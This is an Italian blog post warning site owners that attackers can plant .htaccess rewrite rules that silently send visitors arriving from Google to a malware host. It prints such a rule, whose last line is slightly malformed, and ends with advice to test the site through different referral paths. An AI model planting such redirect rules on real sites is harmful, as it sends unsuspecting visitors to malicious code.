06 Jan, 2010
htaccess e il reindirizzamento invisibile
Scritto da: Gabriele Guizzardi In: Apache|Programmazione|Sicurezza|Vulnerabilità
Alcune volte anche le soluzioni e i comandi realizzati per aiutare nella creazione di siti Intenet possono ritorcersi contro gli utenti e gli sviluppatori stessi. Un caso che mi viene in mente è quello dei files di configurazione distribuita .htaccess usati in Apache. Questi files di testo possono contenere direttive eseguite dal server web ed applicate a directory e sotto-directory.
All’interno possono essere inseriti comanti e direttive per far fare al server svariati lavori che risolvono immediatamente anche grandi problematiche di gestione come per esempio gli reindirizzamenti. Supponiamo di voler reindirizzare l’utente alla classica pagina d’errore nel caso la pagina che lui cerca non esista. L’errore è il 404. Per far questo basta scrivere nel file .htaccess questo comando:
ErrorDocument 404 /errore404.html
Ecco che gli utenti verranno reindirizzati alla pagina di errore specifica. Con questa soluzione potete realizzare pagine di errore ad hoc per ogni codice oppure rimandare tutti gli errori alla home page.
Ma le direttive fornite da Apache sono tante e potenti e un codice come quello qui riportato mette in evidenza possibili vulnerabilità:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond .* http://79.123.1.1/index.php?d=malware [R,L]
Noterete che tutte le richieste provenienti da Google saranno reindirizzate ad un certo host che potrebbe contenere codice malevole. Se, un possibile attacco al sito riuscisse ad inserire tali istruzioni nel file .htaccess oppure inserisse il file per intero (tecnica del “file inclusion”) ecco che tutti i visitatori provenienti da Google sarebbero reindirizzati. Potreste addirittura non accorgervene subito poiché se digitate l’indirizzo del sito direttamente questo si aprirà senza problemi quindi, per voi, tutto funziona.
Se aggiungiamo una riga per ogni motore di ricerca (per esempio .*yahoo.*) conosciuto e magari da altri popolari siti Internet ecco che produrremmo un reindirizzamento di massa non indifferente, soprattutto se il sito che lo subisce è un sito altamente trafficato.
Il consiglio è quindi quello di controllare saltuariamente la corretta visualizzazione del vostro sito usando percorsi differenti, cioè raggiungendolo anche da ricerche, link da altre pagine, ecc.










